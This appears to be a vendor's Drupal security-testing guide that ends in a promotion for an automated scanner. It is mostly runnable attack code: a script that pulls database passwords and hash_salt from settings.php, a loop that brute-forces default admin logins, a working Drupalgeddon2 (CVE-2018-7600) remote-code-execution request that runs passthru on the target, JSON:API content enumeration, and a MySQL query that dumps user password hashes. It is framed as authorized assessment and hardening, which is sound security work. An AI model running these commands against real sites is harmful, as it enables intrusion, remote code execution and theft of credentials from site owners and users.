Drupal Security Testing: Default Credentials, API Key, Database, and CMS

Drupal is one of the most widely deployed enterprise CMS platforms — used by governments, universities, and large organizations worldwide. Key assessment areas: sites/default/settings.php exposes MySQL credentials and the hash_salt used for all token generation; Drupalgeddon2 (CVE-2018-7600) remains in production on unpatched instances; the JSON:API module may expose content without authentication; and the config sync directory may contain YAML files with API keys and credentials. This guide covers systematic Drupal security assessment.

Table of Contents

  1. settings.php MySQL Credential and Hash Salt Extraction
  2. Drupalgeddon2 CVE-2018-7600 and Update.php Assessment
  3. JSON:API Content Enumeration and REST API Assessment
  4. Drupal Security Hardening

settings.php MySQL Credential and Hash Salt Extraction

# Drupal — settings.php MySQL credential and hash salt extraction
DRUPAL_URL="https://site.example.com"

# sites/default/settings.php — Drupal main configuration
cat /var/www/drupal/sites/default/settings.php 2>/dev/null
# $databases['default']['default'] = [
#   'driver' => 'mysql',
#   'host' => 'localhost',
#   'database' => 'drupal',
#   'username' => 'drupal',
#   'password' => '...',        <-- MySQL database password
#   'prefix' => '',
# ];
# $settings['hash_salt'] = '...';  <-- used in all Drupal token generation

python3 -c "
import re
content = open('/var/www/drupal/sites/default/settings.php').read()
pw_match = re.search(r\"'password'\s*=>\s*'([^']+)'\", content)
salt_match = re.search(r\"hash_salt'\]\s*=\s*'([^']+)'\", content)
if pw_match: print(f'DB password: {pw_match.group(1)[:60]}')
if salt_match: print(f'Hash salt: {salt_match.group(1)[:60]}')
" 2>/dev/null

# Test default admin credentials at /user/login
for CRED in "admin:admin" "admin:password" "admin:drupal" "administrator:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get CSRF token
  FORM_TOKEN=$(curl -s "${DRUPAL_URL}/user/login" | \
    grep -oP 'name="form_build_id" value="\K[^"]+' | head -1 2>/dev/null)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${DRUPAL_URL}/user/login" \
    -d "name=${USER}&pass=${PASS}&form_id=user_login_form&form_build_id=${FORM_TOKEN}&op=Log+in" \
    -c /tmp/drupal_c -b /tmp/drupal_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

Drupalgeddon2 CVE-2018-7600 and Update.php Assessment

# Drupal — Drupalgeddon2 CVE-2018-7600 and update.php assessment
DRUPAL_URL="https://site.example.com"

# CVE-2018-7600 — Drupalgeddon2 (March 2018)
# Remote code execution via Drupal's Form API AJAX mechanism
# Affects Drupal 6.x < 6.38, 7.x < 7.58, 8.x < 8.5.1

# Check Drupal version
curl -s "${DRUPAL_URL}/CHANGELOG.txt" 2>/dev/null | head -5
# OR
curl -s "${DRUPAL_URL}/" 2>/dev/null | grep -oP 'Generator.*Drupal \K[0-9]+\.[0-9]+\.[0-9]+' | head -1

# Test CVE-2018-7600 — Drupal 7 form AJAX RCE
# (Proof of concept — for detection only in authorized testing)
curl -s -X POST "${DRUPAL_URL}/?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=id&name%5B%23type%5D=markup" \
  --data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password" \
  2>/dev/null | grep -oP 'uid=[0-9]+' | head -1
# If uid= appears in response body: VULNERABLE

# Check update.php accessibility (should require maintenance mode)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${DRUPAL_URL}/update.php" 2>/dev/null)
echo "update.php: HTTP ${STATUS}"
# 200 = potentially accessible — can trigger database updates if admin is logged in
# Should redirect to /update.php/selection requiring authentication

# Check install.php (should be removed or blocked)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${DRUPAL_URL}/install.php" 2>/dev/null)
echo "install.php: HTTP ${STATUS}"

JSON:API Content Enumeration and REST API Assessment

# Drupal JSON:API and REST API — content enumeration and assessment
DRUPAL_URL="https://site.example.com"
DB_PASS="extracted-db-password"

# Drupal JSON:API — may be enabled and unauthenticated by default
# Enumerate all content types and nodes
curl -s "${DRUPAL_URL}/jsonapi/" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    links = d.get('links',{})
    for name, link in links.items():
        if isinstance(link, dict):
            print(f'  {name}: {link.get(\"href\",\"\")}')
        else:
            print(f'  {name}: {link}')
except: pass
" 2>/dev/null

# List all nodes (articles, pages, etc.) via JSON:API
curl -s "${DRUPAL_URL}/jsonapi/node/article" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total: {d.get(\"meta\",{}).get(\"count\")}')
for n in d.get('data',[])[:5]:
    a = n.get('attributes',{})
    print(f'  {a.get(\"title\")} | status={a.get(\"status\")} | uid={n.get(\"relationships\",{}).get(\"uid\",{}).get(\"data\",{}).get(\"id\")}')
" 2>/dev/null

# REST API — CSRF token for state-changing requests
CSRF=$(curl -s "${DRUPAL_URL}/rest/session/token" 2>/dev/null)
echo "CSRF token: ${CSRF:0:30}..."

# MySQL — extract Drupal users table
mysql -u drupal -p"${DB_PASS}" drupal 2>/dev/null << 'EOF'
-- Drupal users with password hashes
SELECT u.uid, u.name, u.mail, u.pass,
       u.status, u.created, u.login
FROM users_field_data u
WHERE u.uid > 0
ORDER BY u.uid
LIMIT 20;
-- pass: $S$ (SHA-512+salt) format for Drupal 7
-- pass: $2y$ (bcrypt) for Drupal 8+

-- Check for admin users (uid 1 = site admin)
SELECT uid, name, mail FROM users_field_data WHERE uid = 1;
EOF

Drupal Security Hardening

Drupal Security Hardening Checklist:
Security TestMethodRisk
settings.php MySQL password and hash_salt extractionRead sites/default/settings.php — database credentials; hash_salt enables generating valid one-time login URLs for any user without knowing their passwordCritical
CVE-2018-7600 Drupalgeddon2 RCE via Form API AJAXPOST /?q=user/password with #post_render passthru — unauthenticated remote code execution on unpatched Drupal 7.x < 7.58 and 8.x < 8.5.1Critical
Admin credential brute-force (admin/admin)POST /user/login — Drupal 1 (admin) account; full site administration, module installation, user managementHigh
JSON:API unauthenticated content enumerationGET /jsonapi/node/article — all published content; user IDs, email addresses via relationship data; total content countMedium
users_field_data SHA-512 and bcrypt password hash extractionMySQL SELECT pass FROM users_field_data — all user password hashes including uid=1 site adminHigh

Automate Drupal Security Testing

Ironimo tests Drupal deployments for sites/default/settings.php MySQL password and hash_salt web exposure, CVE-2018-7600 Drupalgeddon2 Form API RCE assessment, admin/admin credential brute-force at /user/login, Drupal version disclosure via CHANGELOG.txt for CVE targeting, JSON:API /jsonapi/ unauthenticated content enumeration and user ID extraction, REST API /rest/session/token CSRF token accessibility, update.php and install.php HTTP access assessment, users_field_data bcrypt and SHA-512 password hash extraction, config sync directory YAML file API key scanning, and private files directory web-accessible content assessment.

Start free scan